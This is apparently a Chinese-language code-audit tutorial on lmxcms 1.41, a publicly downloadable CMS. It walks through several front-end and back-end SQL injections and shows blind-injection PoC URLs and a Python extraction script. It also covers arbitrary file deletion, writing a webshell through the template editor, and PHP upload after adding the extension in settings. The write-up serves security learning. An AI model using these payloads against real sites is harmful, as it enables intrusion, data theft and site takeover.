一直想写代码审计之类的文章,但是迟迟没有写,一是因为不知道怎么写(很少写文章),二呢就是懒癌晚期....哈哈哈,开玩笑,开始今天的代码审计之旅。
本期审计的cms为lmxcms(梦想cms)
版本:lmxcms1.41
下载链接:http://www.lmxcms.com/down/xitong/20210530/14.html
很适合新手练习哦。
ok,废话结束,直接进入正题,
1,首先搭建网站,载入咋的lmxcms,我使用的是phpstudy。这一步相信各位师傅应该都知道,我就不啰嗦了。
2,网站搭建好之后,将代码载入PhpStorm,各位师傅也可以使用其他工具,看个人习惯!
这次代码审计我选择白加黑的形式进行审计,其优点就是能更快的发现漏洞,但是相应的缺点就是审计的不太全面,
漏洞1-前台sql注入:
首先进入网站,查看网站有什么功能点,这里发现前台有留言框....首先想到的应该是xss,
那么我们进入到源码来看看:
由于这是mvc架构,需要找到其路由,由于篇幅问题,影响阅读体验,所以不做分析,需要了解的可以联系我,或者自行百度。
进入到根目录下c/index/BookAction.class.php,查看index方法:
直接跟进checkData方法,checkData方法是接收我们提交的数据的,很重要!!直接跟进,在PhpStorm跟进的快捷键(ctrl加鼠标点击该方法)
好了,上图标注的很明显了,首先分析filter_strs,直接跟进该函数,
可以看到遍历的全部参数值(键值对的值),然后对传入的参数进行解码及去除html标签及替换%为空,就是下面三个函数的功能,不清楚的师傅可百度查看,也就是说filter_strs函数没有过滤sql注入相关的内容,
进入回到前面,分析P函数,直接跟进
直接跟进filter_sql函数:
可以发现filter_sql函数是过滤sql注入的,但是这些并不能阻止我们....
继续返回前面,可以看到下面存在addslashes函数,相信各位师傅不会陌生吧,简单点说就是转义单双引号,反斜杠及null....完完全全的防注入函数啊....直接痛苦面具了啊,但是要记住天无绝人之路,仔细看,这些过滤函数只过滤了值,没有过滤间。就是$k,所以应该还有希望,继续分析。
直接回到最开始的代码,直接进入add函数:
看看其内容:
继续跟进addModel:
继续:
直接提交留言,抓包,
当我们在mail后面添加)让sql语句错误时:
嗯?那么怎么构造语句呢?
首先连接数据库查看该表的其他信息,
看看这一列是什么?回到留言页面看看。
那么很明显了,这列大概率是让留言是否显示的信息了,那么我们就可以构造数据包,闭合INSERT语句了,实现我们的sql注入自由了..
构造如下:
解析下为什么使用time,ischeck),应为最后写入sql语句时,是遍历data数组,我们是在post传参时就将time写入data数组了,而代码本身是在post之后将time加入data数组的,所以我们传入的time比代码本身靠前,顾可以忽略代码本身time,实现我们的注入自由,这里就示范爆出用户名
查看页面:
如果想用sqlmap的话,只用在VALUES括号内其他其他参数加心号即可,但是个人建议手注,sqlmap会产生大量垃圾数据。
2.sql前台注入:
看到首页有搜索框,会不会有sql注入?
当我搜索c时,
http://192.168.80.1:98/index.php?m=Search&a=index&classid=5&tem=index&field=title&keywords=c
直接找到相应代码文件,
跟进接收参数的函数:
这里必须存在keywords值,否则程序退出,下面还有几个参数可以增加,我们跟踪程序,将param数组给了$arr数组,然后带入了searchCoutn函数,跟进再跟进,
我们回到最开始传参的地方,可以看到P函数接收的时候是P(2,1,1),get传参并且转义单引号,过滤了部分函数,将参数一一带入数据包查看,
参数这些:
我测试的是remen,当然其他的也可以,只是构造的问题,具体我没有试过,各位师傅可以试试。
使用remen参数时:
可以看到sql语是:
SELECT count(1) FROM lmx_product_data WHERE time > 1618420231 AND remen=2 AND classid in(11,12,13,14,5) AND (title like '%c%') ORDER BY id desc
这样我们就可以操作remen了
poc:
/index.php?m=Search&a=index&classid=5&tem=index&field=title&keywords=c&remen=2%20or%20(if(ascii(substr(database(),1,1))=0x6c,1,0))--+
返回长度是7973,如果if是否,
poc:
/index.php?m=Search&a=index&classid=5&tem=index&field=title&keywords=c&remen=2%20or%20(if(ascii(substr(database(),1,1))=0x6a,1,0))--+
写py脚本:
import requests url = "http://192.168.80.1:98?m=search&keywords=b&mid=1&remen=1 or (if(ascii(substr(database(),{},1))={},1,0))--+" sjk = "" for i in range(1, 7): for j in range(80, 180): cl = url.format(i, hex(j)) res = requests.get(cl) if len(res.text) > 6000: sjk += chr(j) print(sjk)
3.后台任意文件删除:
进入后台,看到文件管理目录,可以删除文件,那么会不会有任意文件删除呢?
那我们选择一个图片删除,抓包看看数据包的情况:
看看那串加密的内容是什么:
这种路径?大概率存在任意文件删除,我们找到相应的文件位置,
c/admin/FileAction.class.php
这里使用post传参接收fid的参数,判断是否为空,不为空进入下一步,我们跟进delete函数,
这里没有什么过滤,只是要求fid接收前面存在#####即可,那么好,我们为了不破坏源码,我们在install目录下创建1.txt,如果删除install_ok.txt就会重装环境,我们更改fid的参数
可以看到提示删除成功,
实际也删除成功。
4.后台任意文件写入
找到后台的模板管理的地方,像这种地方一般都存在漏洞,比如目录遍历,文件写入,文件删除,这里,只分析文件写入:
这里我感觉应该有目录遍历漏洞,但时当我看到源码时....
是可以遍历,但是呢设置了白名单,只允许某些后缀文件显示,作用不大。
当我们继续进入,点击编辑模板时,希望又像雨水般向我打来:
直接抓个包看看,是什么东西:
看看源码可以可以改一下路径呢?
那么我们直接把路径改到根目录的index.php下,
可以发现显示了index.php的内容,那么我们尝试改一下内容
写入一个phpinfo试试水,提交抓包一气呵成:
可以看到咋的phpinfo在里面,看看源码接下来怎么操作的:
进入了if判断,直接看 file::put函数:
file_put_contents函数解释:
很好啊,那么我为什么要写在他的文件里呢???那就随便写吧
1.写入原来的php文件内:
访问首页:
2.自己创建文件写入:
直接访问首页下的shell.php
5.任意文件上传:
看到上传图片的地方:
当我们看到后台上传图片的时候,是不是很有想法呢?我也一样,所以我很厚到的上传了一张图片,抓包,改成了php文件,提示:
上传失败.....可恶,怎么办呢?看看源码吧
根据我的经验,绝对对是这里进行了判断拦截,跟进去看一下,
从upload函数放下跟,跟到了:
这个判断了文件后缀
我们看一下config['fix']数组的内容:
继续追踪config['upload_image_pre']:
存在于c/admin/UploadAction.class.php下的set方法,也就是在后台管理界面的
既然知道了后缀的控制,那么我们就增加php后缀(上图的php是我加的...),增加php后缀,我已近增加,
直接上传php:
然后直接访问返回的路径:
okok,结束。
5.后台sql注入,若干....很多很多....
进入如下页面:
认真填写http,其他随便写,提交抓包:
直接跟进相关代码:
跟进check函数,
所以想单引号注入,几乎不可能了,看看执行的sql语句:
提交看看语句:
这叫什么?这就是天无绝人之路,直接保存为txt文件,id=2后面加新号,放入sqlmap。
okok直接注入。
ennn....后台注入特别多,我只说其中一例.....
各位师傅想练习的话可以去试试,真的真的特别多,两只手都数不过来......
结尾:
感谢各位师傅的阅读,文章技术含量不高,而且过程我感觉写的很清楚....各位师傅可以下载源码来看看,特别建议刚学审计的师傅们审计学习这套源码,如果有什么问题请联系我,感谢大家。